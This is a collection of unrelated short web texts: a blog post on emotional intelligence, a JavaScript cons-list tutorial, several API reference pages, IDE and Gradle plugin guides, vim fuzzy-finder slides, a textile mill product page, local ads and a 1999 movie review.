Among many others.
5. How can I get better and have a better level of Emotional Intelligence?
Fortunately, a lot of studies have shown that EQ can be learned and developed. Her are three simple strategies one can use, to develop the right habits in this regard:
1. Attention training
Through this training, we develop the ability of paying attention to what is happening in our body, which then leads us to understand our emotions, how we feel like this and why. As this technique is practiced,we can train our attention in paying a close awareness to our mind, our body and of course our emotions. The attention training nurtures us in developing the skills needed to reach a clear, calm and alert mind.
2. Self knowledge and Mastery
Developing an attentive mind, we are then able to see what is really going on on an internal level. Going back to this level, we are able to develop a clearer knowledge of who we are, how we are and how we engage and respond to different types of situations. And from developing this knowledg, we move towards mastery. Our awareness of how we feel and respond in specific situations also brings along the possibility of auto-regulation.
3. Creating Useful Mental Habits
Re-wiring our brains with positive stories and thoughts for ourselves and others. Instead of saying “I did not succeed, I am a total failure”, train your thoughts in saying “You are on the right path, continue your efforts, you will eventually are doing great”
6.Why is EQ important?
Emotional Intelligence brings along a lot of benefits starting with the our own personal well-being. However, going one step deeper in my online research and as EDA mentions in its core content for this week. The main three benefits of EQ are:
1. Stellar Performance
As per studies, EQ has substantial impact (Twice as much impact as IQ)in one’s work environment and based on research , EQ is what differentiates average performers from Top ones.What does Stellar Performance look like in the tech world?
2. Outstanding Leadership
When reaching up to higher levels, EQ is really the key element . It is what makes a leader with good skills, great!
3. Happiness
Last but not least, EQ contributes to happiness. Here, I would like to talk about the growth –mindset which is one sign of high EQ. By developing a growth mindset, you develop a way to be less judgemental to you and others and also not stuck on unchangeable ideas. Working towards developing a growth –mindset would help one in having a better control on the flow of their thoughts and the kind of stories we tell ourselves about us and about others.
In conslusion, personally, I feel that unlike IQ, EQ ; Emotional intelligence has an important impact on every aspect of our life.It impacts on our performance at work, on our physical health, our mental health and as a ripple effect on ou relationships. Becoming more aware of where we stand in terms of EQ with an open mind (growth mindset) will help us in growing and becoming better versions of ourselves.And in order to grow our EQ, we must start by stopping telling ourselves negative stories like (If I cannot do it, it means I am stupid and a fail) to positive stories ex “In regards to this task, I am still in the “not yet” zone, I will look at the situation from a different perspective, work on my planning and double my efforts. I am on the right track!”.
Prior to today, I thought I was well –acquainted with EI, but I realised I understimated its benefits and I realised that I should reflect on strategies I could use for myself as IU start a new journey in this career change. The research and the writing process of this blog article, really helped in having a 360 view of Emotional intelligence and an understanding of its importance in the tech world. I will be definitely working on using strategies to develop further a my Emotional intelligence.


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Play Embedded Audio
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Play in animation frame (delayed)


import { reduceRight as arrayReduceRight } from './array';
Lists are one of the most common data structures in functional programming. They are recursive tree structures. Each node wraps some value, known as the head, and has a reference to the next node in the list, known as the tail.
Operating on lists requires recursive functions. As with recursive array functions, we need some base case. With arrays it was the empty array. Likewise with lists the base case is the empty list, also known as Nil.
Before proceeding, please check out the purely functional approach to lists here.
Unlike the functional approach, we use a hybrid OOP/functional approach
here. One benefit to this is that both Nil
and an instance of Cons
adhere to the same interface, so we can make recursive calls on tails
without needing to explicitly check for the empty list, or Nil
.
import { reduceRight as arrayReduceRight } from './array';
As mentioned, Nil
is the empty list and needed for the base case. Without
Nil
, our recursive functions would never know when they reach the end of
the list.
Nil
is a singleton, so we will just define an object literal with all
required methods. Each method basically accomplishes what we did in the
functional approach when checking for the empty list with isEmpty
. Note
that we add getters for head
and tail
that throw errors because Nil
can’t have either of those.
const Nil = {
get head() {
throw new Error('No head of Nil');
},
get tail() {
throw new Error('No tail of Nil');
},
isEmpty() {
return true
},
toArray() {
return [];
},
toString() {
return 'Nil';
},
map() {
return this;
},
filter() {
return this;
},
reduce(fn, memo) {
return memo;
},
reduce1(fn, memo) {
return memo;
},
reduceRight(fn, memo) {
return memo;
}
};
The cons cell represents a node in a list. It wraps over some value, the
head
, and references the next node in the list, which may be another
cons cell or Nil
, signalling the end of the list.
Implementing a cons cell is straightfoward. We create a Cons
class that
has two properties, head
and tail
. Remember that head
is the value
inside the node (e.g. a number like 42), and tail
is the next node in the
list (e.g. another cons cell or Nil
).
Building lists is accomplished by calls to new Cons
or the helper cons
defined later on. The last call passes in Nil
as the tail
to denote the
end of the list.
const list = new Cons(1, new Cons(2, new Cons(3, Nil)));
class Cons {
constructor(head, tail) {
this.head = head;
this.tail = tail;
}
isEmpty() {
return false;
}
toArray() {
return this.reduce((array, value) => {
return array.concat(value);
}, []);
}
toString() {
const contents = this.tail.reduce((current, value) => {
return `${current}, ${value}`;
}, this.head);
return `list(${contents})`;
}
map(fn) {
return cons(fn(this.head), this.tail.map(fn));
}
filter(fn) {
if (fn(this.head)) {
return cons(this.head, this.tail.filter(fn));
}
return this.tail.filter(fn);
}
reduce(fn, memo) {
return this.tail.reduce(fn, fn(memo, this.head));
}
reduce1(fn) {
return this.tail.reduce(fn, this.head);
}
reduceRight(fn, memo) {
return fn(this.tail.reduceRight(fn, memo), this.head);
}
}
Helper function for constructing cons cells without calling the constructor directly. Shame, shame on those leaky abstractions.
const list = cons(1, cons(2, cons(3, Nil)));
function cons(head, tail) {
return new Cons(head, tail);
}
Helper function to create a list from an array. We utilize the reduceRight
function for arrays to fold over each value in the array to produce
subsequent cons cells.
Notice we have to go in a right-to-left direction and start with Nil
as
the initial memo value. We want to build the tree from the bottom with
Nil
.
const list = fromArray([1, 2, 3]);
function fromArray(values) {
return arrayReduceRight((list, value) => cons(value, list), Nil, values);
}
Unnecessary function, but allows us to use an “array-less” syntax for creating lists.
const list = create(1, 2, 3);
function create(...values) {
return fromArray(values);
}
export {
Nil,
Cons,
cons,
fromArray,
create
};


open fun getAttachment(index: Int): Attachment
Helper to simplify getting an indexed attachment.
index
- the position of the item in the attachments.
Return
The Attachment at the requested index.
open fun getAttachment(id: SecureHash): Attachment
Helper to simplify getting an indexed attachment.
id
- the SecureHash of the desired attachment.
IllegalArgumentException
- if no item matches the id.
Return
The Attachment with the matching id.


Here coaches will be able to find places they can find information at how to advance their training through coaching camps or licenses. Descriptions of the events, their costs and links to the events will be posted.
Parents will be able to look online and see if their child's coach is listed as a licensed coach and what level license the coach is listed at and how long they have been coaching.


| Package | flare.query |
| Class | public class Arithmetic |
| Inheritance | Arithmetic BinaryExpression Expression |
| Property | Defined by | ||
|---|---|---|---|
| left : Expression
The left-hand-side sub-expression.
| BinaryExpression | ||
| numChildren : int
The number of sub-expressions that are children of this expression.
| BinaryExpression | ||
| operator : int Code indicating the operation performed by this instance.
| BinaryExpression | ||
| operatorString : String [read-only] Returns a string representation of the arithmetic operator.
| Arithmetic | ||
| right : Expression
The right-hand-side sub-expression.
| BinaryExpression |
| Method | Defined by | ||
|---|---|---|---|
|
Arithmetic(op:int, left:*, right:*)
Create a new Arithmetic expression.
| Arithmetic | ||
|
Add(left:*, right:*):Arithmetic
[static]
Creates a new Arithmetic operator for adding two numbers.
| Arithmetic | ||
|
Creates a cloned copy of the expression.
| Arithmetic | ||
|
Divide(left:*, right:*):Arithmetic
[static]
Creates a new Arithmetic operator for dividing one number
by another.
| Arithmetic | ||
|
eval(o:Object = null):*
Evaluates this expression with the given input object.
| Arithmetic | ||
|
expr(o:*):Expression
[static]
Utility method that maps an input value into an Expression.
| Expression | ||
|
getChildAt(idx:int):Expression
Returns the sub-expression at the given index.
| BinaryExpression | ||
|
Mod(left:*, right:*):Arithmetic
[static]
Creates a new Arithmetic operator for computing the modulo
(remainder) of a number.
| Arithmetic | ||
|
Multiply(left:*, right:*):Arithmetic
[static]
Creates a new Arithmetic operator for multiplying two numbers.
| Arithmetic | ||
|
predicate(o:Object):Boolean
Boolean predicate that tests the output of evaluating this
expression.
| Expression | ||
|
setChildAt(idx:int, expr:Expression):Boolean
Set the sub-expression at the given index.
| BinaryExpression | ||
|
Subtract(left:*, right:*):Arithmetic
[static]
Creates a new Arithmetic operator for subtracting one number
from another.
| Arithmetic | ||
|
toString():String
Returns a string representation of the expression.
| BinaryExpression | ||
|
visit(f:Function):Boolean
Sequentially invokes the input function on this expression and all
sub-expressions.
| Expression |
| Constant | Defined by | ||
|---|---|---|---|
| ADD : int = 0 [static] Indicates an addition operation.
| Arithmetic | ||
| DIV : int = 3 [static] Indicates a division operation.
| Arithmetic | ||
| MOD : int = 4 [static] Indicates a modulo operation.
| Arithmetic | ||
| MUL : int = 2 [static] Indicates a multiplication operation.
| Arithmetic | ||
| SUB : int = 1 [static] Indicates a subtraction operation.
| Arithmetic |
| operatorString | property |
operatorString:String
[read-only]Returns a string representation of the arithmetic operator.
Implementation public function get operatorString():String
| Arithmetic | () | constructor |
public function Arithmetic(op:int, left:*, right:*)
Create a new Arithmetic expression.
Parametersop:int — the operation to perform
|
|
left:* — the left sub-expression
|
|
right:* — the right sub-expression
|
| Add | () | method |
public static function Add(left:*, right:*):Arithmetic
Creates a new Arithmetic operator for adding two numbers.
Parametersleft:* — the left-hand input expression
|
|
right:* — the right-hand input expression
|
Arithmetic —
the new Arithmetic operator
|
| clone | () | method |
public override function clone():Expression
Creates a cloned copy of the expression. Recursively clones any sub-expressions.
ReturnsExpression —
the cloned expression.
|
| Divide | () | method |
public static function Divide(left:*, right:*):Arithmetic
Creates a new Arithmetic operator for dividing one number by another.
Parametersleft:* — the left-hand input expression
|
|
right:* — the right-hand input expression
|
Arithmetic —
the new Arithmetic operator
|
| eval | () | method |
public override function eval(o:Object = null):*
Evaluates this expression with the given input object.
Parameterso:Object (default = null ) — the input object to this expression
|
* — the result of evaluating the expression
|
| Mod | () | method |
public static function Mod(left:*, right:*):Arithmetic
Creates a new Arithmetic operator for computing the modulo (remainder) of a number.
Parametersleft:* — the left-hand input expression
|
|
right:* — the right-hand input expression
|
Arithmetic —
the new Arithmetic operator
|
| Multiply | () | method |
public static function Multiply(left:*, right:*):Arithmetic
Creates a new Arithmetic operator for multiplying two numbers.
Parametersleft:* — the left-hand input expression
|
|
right:* — the right-hand input expression
|
Arithmetic —
the new Arithmetic operator
|
| Subtract | () | method |
public static function Subtract(left:*, right:*):Arithmetic
Creates a new Arithmetic operator for subtracting one number from another.
Parametersleft:* — the left-hand input expression
|
|
right:* — the right-hand input expression
|
Arithmetic —
the new Arithmetic operator
|
| ADD | constant |
public static const ADD:int = 0
Indicates an addition operation.
| DIV | constant |
public static const DIV:int = 3
Indicates a division operation.
| MOD | constant |
public static const MOD:int = 4
Indicates a modulo operation.
| MUL | constant |
public static const MUL:int = 2
Indicates a multiplication operation.
| SUB | constant |
public static const SUB:int = 1
Indicates a subtraction operation.


Checking Out Files from a VCS Repository
See Also
After setting up version control, you need to copy
the necessary files and directories from the remote repository to your local
working directory. The procedure varies depending on which VCS client you are
using.
To check out files from a repository using CVS:
- Choose Versioning > Checkout
from the main menu.
- In the CVS Checkout dialog, click the Browse button and navigate to the
local CVS working directory.
- In the CVS Checkout dialog, enter the files and directories you want to
check out in the Module(s) field or click the Select button to choose from
a list of all modules in the repository.
Alternately, you can leave the All radio button selected if you want to checkout
all available modules.
- If you need to specify a specific branch, revision number, or tag for the
checkout, enter the information in the Revision or Tag field.
- If you want to update to a version that is no later than a specific date,
enter the date in the Date text box.
- Click OK to check out
the files.
The IDE initiates the Check out command
and the Output window opens to report download progress of the files from
the repository to your local working directory.
- You can enable additional VCS options by
setting the IDE to display advanced command options. To enable Advanced
Options, open the Versioning Manager, select the working directory and click
Edit. Then select Advanced Mode in the Advanced tab.
Legal Notices


Getting Started with Gradle
Gradle is the preferred solution for creating IntelliJ Platform plugins. The IntelliJ IDEA Ultimate and Community editions bundle the necessary plugins to support Gradle-based development. These IntelliJ IDEA plugins are Gradle and Plugin DevKit, which are enabled by default. To verify these plugins are installed and enabled, see the help section about Managing Plugins.
- Creating a Gradle-Based IntelliJ Platform Plugin with New Project Wizard
- Adding Gradle Support to an Existing DevKit-Based IntelliJ Platform Plugin
- Running a Simple Gradle-Based IntelliJ Platform Plugin
Creating a Gradle-Based IntelliJ Platform Plugin with New Project Wizard
IntelliJ IDEA supports creating new Gradle-based IntelliJ Platform plugin projects using the New Project Wizard. The Wizard creates all the necessary project files based on a few template inputs.
Before creating a new Gradle project, familiarize yourself with the IntelliJ IDEA help topic Creating a new Gradle project, which is a tutorial for creating general Gradle projects in IntelliJ IDEA. This page emphasizes the steps in the process for creating IntelliJ Platform plugin projects that are Gradle-based.
Launch the New Project Wizard. It guides you through the Gradle project creation process with four screens.
New Project Configuration Screen
On the first screen, the type of project is configured:
- From the product category pane on the left, choose Gradle.
- Specify the Project SDK based on the Java 8 JDK. This SDK will be the default JRE used to run Gradle, and the JDK version used to compile the plugin Java source. Based on the Project SDK, the IntelliJ IDEA Gradle Plugin will download the corresponding version of the IntelliJ Platform-based IDE automatically.
- In the Additional Libraries and Frameworks panel, select Java and IntelliJ Platform Plugin. These settings will be used for the remainder of this tutorial.
- Optionally:
- To include support for the Kotlin language in the plugin, check the Kotlin/JVM box (circled in green below.) This option can be selected with or without the Java language.
- To create the
build.gradle
file as a Kotlin build script rather than Groovy, check the Kotlin DSL build script box (circled in magenta below.)
Then click Next:
Project Naming Screen
On this, the second screen of the Wizard, specify a Group ID, Artifact ID, and plugin Version using Maven naming conventions.
- Group ID is typically a Java package name, and it is used for the Gradle property
project.group
value in the project’sbuild.gradle
file. For this example, enter “com.your.company”. - Artifact ID is the default name of the project JAR file (without version).
It is also used for the Gradle property
rootProject.name
value in the project’ssettings.gradle
file. For this example, enter “my_gradle_plugin”. - Version is used for the Gradle property
project.version
value in thebuild.gradle
file. For this example, enter “1.0”.
Click Next to continue.
Gradle Settings Screen
The third screen prompts for Gradle-specific settings. All of these settings can be changed once the project is created via Settings | Build, Execution, Deployment | Build Tools | Gradle. Select the default settings and click Next to continue.
Project Name and Location Screen
The final Wizard screen is for setting the project name and location. The Project name is pre-filled with the Artifact ID.
Note the choice of Project format under More Settings is somewhat superfluous.
Although an .idea
directory or .ipr
file is generated as the project is created and built, it is Gradle and the IntelliJ IDEA Gradle plugin that control many aspects of the project.
Click Finish.
Components of a Wizard-Generated Gradle IntelliJ Platform Plugin
For the example my_gradle_plugin
, the New Project Wizard creates the directory content shown below:
- The default IntelliJ Platform
build.gradle
file. The contents are further discussed below. - The Gradle Wrapper files, and in particular the
gradle-wrapper.properties
file, which specifies the version of Gradle to be used to build the plugin. If needed, the IntelliJ IDEA Gradle plugin will download the version of Gradle specified in this file. - The
settings.gradle
file, containing a definition of therootProject.name
. - The
META-INF
directory under the defaultmain
SourceSet contains the plugin configuration file.
my_gradle_plugin
├── build.gradle
├── gradle
│ └── wrapper
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── gradlew
├── gradlew.bat
├── settings.gradle
└── src
├── main
│ ├── java
│ └── resources
│ └── META-INF
│ └── plugin.xml
└── test
├── java
└── resources
The New Project Wizard produces the my_gradle_plugin
project build.gradle
file shown below:
- There is no explicit
buildscript{}
in the file. The IntelliJ IDEA Gradle plugin dynamically creates abuildscript{}
. - Two plugins to Gradle are explicitly declared:
- The Gradle Java plugin.
- The IntelliJ IDEA Gradle plugin.
- The Group ID from the Wizard Project Naming Screen is the
project.group
value. - The Version from the Wizard Project Naming Screen is the
project.version
value. - The
sourceCompatibility
line is injected to enforce using Java 8 JDK to compile Java source. - The only comment in the file is a link to the README.md for the IntelliJ IDEA Gradle plugin, which is a reference for the DSLs defined by the plugin.
- The value of the Setup DSL attribute
intellij.version
specifies the version of the IntelliJ Platform to be used to build the plugin. It defaults to the version of IntelliJ IDEA that was used to run the New Project Wizard. - The value of the Patching DSL attribute
patchPluginXml.changeNotes
is set to place holder text.
plugins {
id 'java'
id 'org.jetbrains.intellij' version '0.4.17'
}
group 'com.your.company'
version '1.0'
sourceCompatibility = 1.8
repositories {
mavenCentral()
}
dependencies {
testCompile group: 'junit', name: 'junit', version: '4.12'
}
// See https://github.com/JetBrains/gradle-intellij-plugin/
intellij {
version '2019.1'
}
patchPluginXml {
changeNotes """
Add change notes here.

most HTML tags may be used"""
}
Plugin Gradle Properties and Plugin Configuration File Elements
The Gradle properties rootProject.name
and project.group
will not, in general, match the respective plugin.xml
elements <name>
and <id>
.
There is no IntelliJ Platform-related reason they should as they serve different functions.
The <name>
element is often similar to the content root, but is more explanatory than the rootProject.name
.
The <id>
is a unique identifier over all plugins, typically a concatenation of the Maven groupId
and artifactId
; the default Gradle project.group
property is only the groupId
.
Adding Gradle Support to an Existing DevKit-Based IntelliJ Platform Plugin
Converting a DevKit-based plugin project to a Gradle-based plugin project can be done using the New Project Wizard to create a Gradle-based project around the existing DevKit-based project:
- Ensure the directory containing the DevKit-based IntelliJ Platform plugin project can be fully recovered if necessary.
- Delete all the artifacts of the DevKit-based project:
.idea
directory- IML file
out
directory
- Arrange the existing source files within the project directory in Gradle SourceSet format.
- Use the New Project Wizard as though creating a new Gradle project from scratch.
- On the Project Naming Screen set the values to:
- GroupID to the existing package in the initial source set.
- ArtifactID to the name of the existing plugin.
- Version to the same as the existing plugin.
- On the Project Name and Location Screen set the values to:
- Project name to the name of the existing plugin. (It should be pre-filled from the ArtifactID)
- Set the Project location to the directory of the existing plugin.
- Click Finish to create the new Gradle-based plugin.
- Add more modules using Gradle Source Sets as needed.
Running a Simple Gradle-Based IntelliJ Platform Plugin
Gradle projects are run from the IDE’s Gradle Tool window.
Adding Code to the Project
Before running my_gradle_project
, some code could be added to provide simple functionality.
See the Creating Actions tutorial for step-by-step instructions for adding a menu action.
Executing the plugin
Open the Gradle tool window and search for the runIde
task:
- If it’s not in the list, hit the Refresh button at the top of the Gradle window.
- Or Create a new Gradle Run Configuration.
Double-click on the runIde task to execute it. See the IntelliJ IDEA help for more information about Working with Gradle tasks.
Finally, when my_gradle_plugin
launches in the IDE development instance, there should be a new menu under the Tools menu.


Anangoor Textile Mills (P) Limited manufactures open end kora yarn and OE mélange & OE colour yarn for knitting, weaving.
| KORA YARN | |
|---|---|
| Warp Yarn | Counts from 4s to 20s |
| Weft Yarn | Counts from 16s to 20s |
| Ply yarn | 2/4s, 2/6s, 2/10s, 2/16s, and 2/20s |
| Production | 1400 tons/annum | MELANGE YARN |
| Knitting yarn | Count from 20s, 25s, 30s |
| Colour Shade | Grey mélange, Light grey mélange, Charcoal mélange, Dark mélange, Royal blue mélange, Navy mélange, Andra mélange, Ecro mélange, Silver grey mélange, Merron mélange, Red mélange, Black,Navy, Royal blue, Coffee Brown, Red.. |
| Production | 3400 tons/annum |
-Kora Yarn, Colour Melange Yarn and Colour Yarn
Anangoor Textile Mills (P) Limited Unit II installed with 21600 spindle capacity produces around 14 tons of combed and semi combed cotton yarn per day in the count range of 16s to 40s. The mill keeps itself updated to the technological advances in the industry to produce high quality yarn and constantly invest in latest technological advances. The company has in-house world class testing laboratory with testing instruments from reputed suppliers around the globe.
| YARN | |
|---|---|
| Combed yarn | Ne 16s to 40s |
| Semi combed | Ne 16s to 40s |
Anangoor Textile Mills (P) Limited has ambition plans to produce value added products.


Address Geocoding
This demo geocodes a CSV file containing address information and displays it on a map.
You can download our sample data to use with the demo, or try it with your own.
Click 'Add file' or drop your file here
This demo geocodes a CSV file containing address information and displays it on a map.
You can download our sample data to use with the demo, or try it with your own.
Click 'Add file' or drop your file here
Select the CSV columns that correspond to each geocoding field:


by Guy Routledge | @guyroutledge
Slides:
https://talks.guyroutledge.co.uk/switching-files/slides/
Working with a codebase, this is something you do a LOT.

Remembering every file name or path is a waste of time
Searching is the quickest way to find what you're looking for
But remembering what to search for is also a waste of time...
In computer science, approximate string matching (often colloquially referred to as fuzzy string searching) is the technique of finding strings that match a pattern approximately (rather than exactly)
Wikipedia: Approximate String Matching
A series of operations determines the closeness of a match
Insertion: co*t → coat
Deletion: coat → co*t
Substitution: coat → cost
Transposition: cost → cots
You can find files at the speed of thought
You don't even need to remember the full path or filename
Sometimes just a file extension could be enough...
Let's look at three plugins that use fuzzy search
Give a quick demo of how they work
Look at their pros and cons
A Mac app that hooks into your text editor
Supports MacVim, Xcode, Textmate, Coda, Emacs
GUI interface for searching and opening files
Fuzzy search
Opens files in new tab/current window
Displays SCM metadata
Launch peepopen: <leader>p
Next item: <Up>
Previous item: <Down>
Open file: <CR>
Close peepopen: <ESC>
Easy install
Nice GUI interface
Smart sorting
Shows SCM metadata
Limited options
Navigation with arrow keys
Costs cash money
A Vim plugin written in Ruby and C
Inspired by the "Goto File" feature of Textmate
Fuzzy search of folders
Fuzzy search of open buffers
Opens files in:
Launch CommandT: <leader>t
Launch CommandT: :CommandT
Launch buffer search: <leader>b
Launch buffer search: :CommandTBuffer
Next item: <C-j>
Previous item: <C-k>
Open file: <CR>
Open in split: <C-s>
Open in Vsplit: <C-v>
Open in Tab: <C-t>
Close CommandT: <ESC>
There are multiple mappings for movement and closing
If you use EasyMotion, you'll want to remap CommandT
There are lots of configurable options too
I have these lines in my .vimrc
nnoremap <silent> <C-e> :CommandT<CR>
nnoremap <silent> <C-b> :CommandTBuffer<CR>
let g:CommandTMaxHeight=25
let g:CommandTMatchWindowReverse=1
Fast
Customisable
Accurate results
Installation was fiddly
A pure vimscript fuzzy finder
Fuzzy search of files
Fuzzy search of open buffers
Fuzzy search of MRU files
Fuzzy search of tags
Opens multiple files
Regex mode
Run commands after opening
Opens files in:
Launch CtrlP: :CtrlP
Launch buffer search: :CtrlPBuffer
Launch MRU search: :CtrlPMRU
Cycle modes: <C-b> and <C-f>
Next item: <C-j>
Previous item: <C-k>
Open file: <CR>
Open in split: <C-x>
Open in Vsplit: <C-v>
Open in Tab: <C-t>
Mark multiple files: <C-z> and open with <C-o>
Create new file: <C-y> also creates parent directories
Close CtrlP: <ESC>
You can end the input with a colon to execute commands - such as open a file at a certain line number
let g:ctrlp_map = '<C-p>'
let g:ctrlp_cmd = 'CtrlP'
let g:ctrlp_working_path_mode = 'ra'
For more detailed information about setting the smart project root finder, check out the readme on github
A small handful of plugins have been written for CtrlP
Search for function definitions without needing ctags
Easy install
Pure vimscript
Multiple search modes
Regex support
Multiple file opening
Slower than CommandT
Hit and miss accuracy
Too many features?
A different take on fuzzy searching and file switching
More of a browser, less emphasis on speed
<Leader>lf Opens file explorer
<Leader>lr Opens file explorer at the dir of current file
<Leader>lb Opens buffer explorer
<Leader>lg Opens buffer grep
Easily browse your files, buffers and folders
Buffer grep is very cool
Slower file switching
Opens files in current window
http://www.guyroutledge.co.uk | @guyroutledge
Slides:
https://talks.guyroutledge.co.uk/switching-files/slides/


class DuplicateAttachmentException : FileAlreadyExistsException
Thrown to indicate that an attachment was already uploaded to a Corda node.
<init> |
Thrown to indicate that an attachment was already uploaded to a Corda node. DuplicateAttachmentException(attachmentHash: String) |


Whenever the kids watch Pokémon, when it hits the “Who’s that Pokémon!?” part, if I’m in earshot I yell “Squirtle!!” I’ve done this trolling consistently for years at this point.
My birthday gift today made all that effort worthwhile.
9/1/2021, 8:53:49 AM
Favs: 7
Retweets: 0
link


Reception: 01225 486 905
Memberships: 01225 486 914
Website: www.better.org.uk
Location: View on Google maps
Advertise here for a very reasonable rate. Box ads and supporting info pages available. Email us to find out more.
RJCoaching offers Squash and Racketball coaching for all ages and abilities.
To book, call Rich Colman
on 07752 901885.
Runs from the Bath Sports & Leisure Centre on Sundays from 6.00 to 7.20pm
All standards welcome
Fully qualified Sports Massage
Therapy in your own home
Tel: 07806 558 078
T-shirts - £10 each
Hoodies - £20 each
S, M, L, & XL
Email us to order
We are a wholly independent Estate Agents
based in the centre of the Georgian
City of Bath.
Tel: 01225 463322


DEEP BLUE SEA (1999)
Rating: 3.5 stars (out of 4.0) ******************************** Key to rating system: 2.0 stars - Debatable 2.5 stars - Some people may like it 3.0 stars - I liked it 3.5 stars - I am biased in favor of the movie 4.0 stars - I felt the movie's impact personally or it stood out ********************************* A Movie Review by David Sunga
Directed by: Renny Harlin
Written by: Duncan Kennedy, Donna Powers and Wayne Powers
Starring: Saffron Burrows, Thomas Jane, Samuel L. Jackson, LL Cool J, Michael Rapaport
Russell Franklin: Samuel L. Jackson Carter Blake: Thomas Jane Susan McAlester: Saffron Burrows Sherman `Preacher' Dudley: LL Cool J Tom Scoggins: Michael Rapaport
Synopsis: In a floating research facility called Aquatica, proteins are harvested from the brains of three mako sharks as part of research on a cure for Alzheimer's disease. Mako sharks, a species where the female is much larger than the male, are some of the fastest, highest leaping fish in the world, as well as possibly the most the most intelligent type of shark and a leader in attacks on boats. An unfortunate consequence of the Aquatica research is that it enhances the size, invulnerability, and intelligence of the three sharks. The humans seem firmly in control, but when an accident happens, guess who's got the upper hand?
Opinion: Who will survive? The beautiful but ice-cold lady scientist, the reformed convict? The depressed research assistant or her smokaholic boyfriend, the baby-faced engineer, the rich financier, or the cook? DEEP BLUE SEA is no cliches and all surprises. It'll put you on the edge of your seat more times than the original Jurassic Park. DEEP BLUE SEA was the funnest movie I've seen all summer, and I highly recommend it for an outing of scary fun and entertainment.
Reviewed by David Sunga July 28, 1999
Copyright © 1999 by David Sunga This review and others like it can be found at THE CRITIC ZOO: http://www.criticzoo.com email<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


To create a rounded button, use the .btn-rounded
class.
To create a 3D button, use the .btn-3d
class.
To create an outline button, use the .btn-outline
class.
Make an outline button colorless by adding the .btn-outline-colorless
class.
Make an outline button colorless and inverted by adding the .btn-outline-colorless-inverted
class.
To create a block level button, use the .btn-block
class.
Make buttons look inactive by adding the disabled
boolean
attribute to any <button>
element.
To show a loading indicator, add the .btn-loading
class to a .btn
element.
Add data-toggle="button"
to toggle a button’s active
state. If you’re pre-toggling a button, you must manually add
the .active
class and aria-pressed="true"
to
the <button>
.
Button styles can be applied to other elements, such as <label>
s,
to provide checkbox or radio style button toggling.
To use the bootstrap's button plugin, you need to require it:
require(['px-bootstrap/button']);
To use buttons, you need to include ui-bootstrap.js script:
<script src="path/to/js/ui-bootstrap.js"></script>


About Picky. pick, cook , eat, yum!
12 buttons Pick a concern
9 buttons Eliminating gluten means avoiding wheat, barley, rye, and other gluten-containing grains and foods made from them (or that may have been cross contaminated).


Add todo
Todo title
Yeah! Nothing to do for the moment. Add something to stay busy.
x
{{todo.title}}
{{todo.created_at | date:'short'}}


abstract class Command : Any
The Command class is the center of the Command framework. Every command can be started by calling start. Once a command is called initialize will be called and then execute will be called over and over until isFinished returns true. Once it does, end will be called.
If at any point cancel is called however, the command will be stopped and interrupted will be called.
If a command uses a Subsystem, it should specify it does so by calling the requires method in its constructor. A command may have multiple requirements, and requires should be used for each one.
If a command is running and a new command with shared requirements is started, then one of two things will happen. If the active command is interruptible, then cancel will be called and the command will be removed to make way for the new one. If the active command is not interruptible, the other one will not be started, and the active one will continue functioning.
| <init> |
Command()
Creates a new command. Command(timeout: Double)
Creates a command with the given timeout. |
| cancel |
fun cancel(): Unit
This will cancel the current command. |
| doesRequire |
fun doesRequire(system: Subsystem): Boolean
Check if the command requires the given Subsystem |
| end |
open fun end(): Unit
Called when the command ended peacefully. This is where you may want to wrap up loose ends, like shutting off a motor that was being used in the command. |
| endShadowMethod |
open fun endShadowMethod(): Unit
A shadow method called after end |
| execute |
open fun execute(): Unit
The execute command is called repeatedly until this command either finishes or is canceled. |
| getGroup |
fun getGroup(): CommandGroup?
Returns the CommandGroup that this command is part of. Will return null if this command is not in a group. |
| initialize |
open fun initialize(): Unit
The initialize method is called the first time this Command is run after being started. |
| interrupted |
open fun interrupted(): Unit
Called when the command ends because something called cancel or another command shared the same requirements as this one and booted this one out. |
| interruptedShadowMethod |
open fun interruptedShadowMethod(): Unit
A shadow method called after interrupted |
| isCanceled |
fun isCanceled(): Boolean
Returns whether or not this command has been canceled. |
| isCompleted |
fun isCompleted(): Boolean
Returns whether or not this command has been completed. |
| isFinished |
abstract fun isFinished(): Boolean
Returns whether this command is finished. If it is, then the command will be removed and end will be called. |
| isInterruptible |
open fun isInterruptible(): Boolean
Returns whether or not this command has been interruptible. |
| isRunning |
fun isRunning(): Boolean
Returns whether or not the command is running. This may return true even if the command has just been canceled, as it may not have yet called interrupted. |
| isTimedOut |
fun isTimedOut(): Boolean
Returns whether or not the timeSinceInitialized method returns a number which is greater than or equal to the timeout for the command. If there is no timeout, this will always return false. |
| requires |
fun requires(subsystem: Subsystem): Unit
This method specifies that the given Subsystem is used by this command. This method is crucial to the functioning of the Command System in general. |
| setInterruptible |
fun setInterruptible(interruptible: Boolean): Unit
Sets whether or not this command can be interrupted. |
| setTimeout |
fun setTimeout(seconds: Double): Unit
Sets the timeout of this command |
| start |
fun start(): Unit
Starts up the command. Gets the command ready to start. |
| timeSinceInitialized |
fun timeSinceInitialized(): Double
Returns the time since the command has been initialized (in seconds). This function will work even if there is no timeout |
| toString |
open fun toString(): String
The string representation for a Command is its class name. |
| CommandGroup |
open class CommandGroup : Command
A CommandGroup is a list of commands that are executed in sequence. |
| ConditionalCommand |
abstract class ConditionalCommand : Command
A ConditionalCommand is a Command that starts one of two commands. |
| InstantCommand |
abstract class InstantCommand : Command
This command will execute once, then finish immediately afterward. |
| PIDCommand |
abstract class PIDCommand : Command
This class defines a Command which interacts heavily with a PID loop. |
| TimedCommand |
open class TimedCommand : Command
A TimedCommand will wait for a timeout before finishing. TimedCommand is used to execute a command for a given amount of time. |
| WaitForChildren |
class WaitForChildren : Command
This command will only finish if whatever CommandGroup it is in has no active children. If it is not a part of a CommandGroup, then it will finish immediately. If it is itself an active child, then the CommandGroup will never end. |


Add Your Requirement here
{%csrf_token%} {{form.as_p}}
Add Requirement


In the text box under 'Feeds', type or paste the URL of an RSS/XML feed. Multiple can be added, but one at a time.
In the text box under 'Keywords', type or paste one (or several) keywords with which to search given articles/posts for.
